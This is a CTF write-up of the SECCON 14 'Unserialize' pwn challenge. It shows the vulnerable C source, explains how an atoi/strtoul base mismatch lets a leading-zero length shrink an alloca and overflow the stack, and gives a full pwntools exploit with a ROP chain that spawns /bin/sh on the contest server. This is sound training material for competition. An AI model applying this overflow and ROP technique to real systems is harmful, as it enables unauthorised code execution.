/home

SECCON 14 Qualifiers

CTF Summary

Difficulty : Very hard (100/100 ctftime weight)

Team : skibideur2ctf (yeah I know)

Author : ptr-yudai

Topics : pwn

Unserialize

Overview

The code for this challenge was provided. It basically “unserializes” your input.

main.c
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

ssize_t unserialize(FILE *fp, char *buf, size_t size) {
  char szbuf[0x20];
  char *tmpbuf;

  for (size_t i = 0; i < sizeof(szbuf); i++) {
    szbuf[i] = fgetc(fp);
    if (szbuf[i] == ':') {
      szbuf[i] = 0;
      break;
    }
    if (!isdigit(szbuf[i]) || i == sizeof(szbuf) - 1) {
      return -1;
    }
  }

  if (atoi(szbuf) > size) {
    return -1;
  }

  tmpbuf = (char*)alloca(strtoul(szbuf, NULL, 0));

  size_t sz = strtoul(szbuf, NULL, 10);
  for (size_t i = 0; i < sz; i++) {
    if (fscanf(fp, "%02hhx", tmpbuf + i) != 1) {
      return -1;
    }
  }

  memcpy(buf, tmpbuf, sz);
  return sz;
}

int main() {
  char buf[0x100];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  if (unserialize(stdin, buf, sizeof(buf)) < 0) {
    puts("[-] Deserialization faield");
  } else {
    puts("[+] Deserialization success");
  }

  return 0;
}

Vulnerability

The vulnerability to exploit in this challenge resides in an inconsitency bug from atoi() and strtoul(). The program calls atoi to obtain the length of the string (base 10) and then uses strtoul to obtain the size of the input (base 8).

This difference in bases allows us to input a string starting with ‘0’ to be interpreted as octal causing a smaller allocation than intended. The conversion will happen on every octal character before ‘:’ and will stop if one of the digits does not follow this criteria. We can then overflow the stack thanks to alloca().

Here is an example:

The value we passed was 0249:

  • atoi() is passed with “0249”, which returns 249.
  • The first strtoul() is called in the following way: strtoul("0249", NULL, 0), which returns 20, since the 9 is ignored and 24 in octal is 20 in decimal.
  • alloca() allocates less bytes than what we passed in decimal (249 bytes).

We could also use 04294967296 to cause a huge overflow though we didn’t explore this method at all.

Exploitation

The binary is statically compiled and has no PIE.

In our exploit we will replace the destination of memcpy() to overwrite the return address.

exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

e = ELF("./chall")
context.binary = e
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = "debug"
context.gdb_binary = '/usr/local/bin/pwndbg'


def conn():
    if args.SSH:
        s = ssh(
            user="user",
            host="host.org",
            port=2222,
            password="password"
        )
        r = s.process({proc_args})
    elif args.GDB:
        r = gdb.debug([e.path], gdbscript="""
                      b *main+1
                      continue
                      """)
    elif args.SOCKET:
        r = remote("unserialize.seccon.games", 5000)
    else:
        r = process([e.path])

    return r


def main():
    r = conn()

    size = 249
    offset = 48
    pop_rdi = 0x422d27
    pop_rsi = 0x43617e
    syscall = 0x401364
    stdin_addr = 0x4ca440
    binsh_addr = 0x4cc000

    payload = b"/bin/sh\x00"
    payload += cyclic(offset - 8)
    payload += p64(binsh_addr)
    payload += p64(stdin_addr) + b"B" * 8 + b"\x97"
    payload += p64(pop_rdi)
    payload += p64(59 - size - binsh_addr, sign="signed")
    payload += p64(pop_rdi)
    payload += p64(binsh_addr)
    payload += p64(pop_rsi)
    payload += p64(0)
    payload += p64(syscall)
    payload += b"A" * offset
    payload = "0" + str(size) + ":" + payload.hex()

    r.sendline(payload.encode())
    r.interactive()


if __name__ == "__main__":
    main()

Conclusion

The difficulty of this CTF was pretty insane but that’s when we learn the most, also thanks to @t0m7r00z who has been the first one in our team to flag this ;)

Also thanks to @ptr-yudai for the very qualitative challenges.

References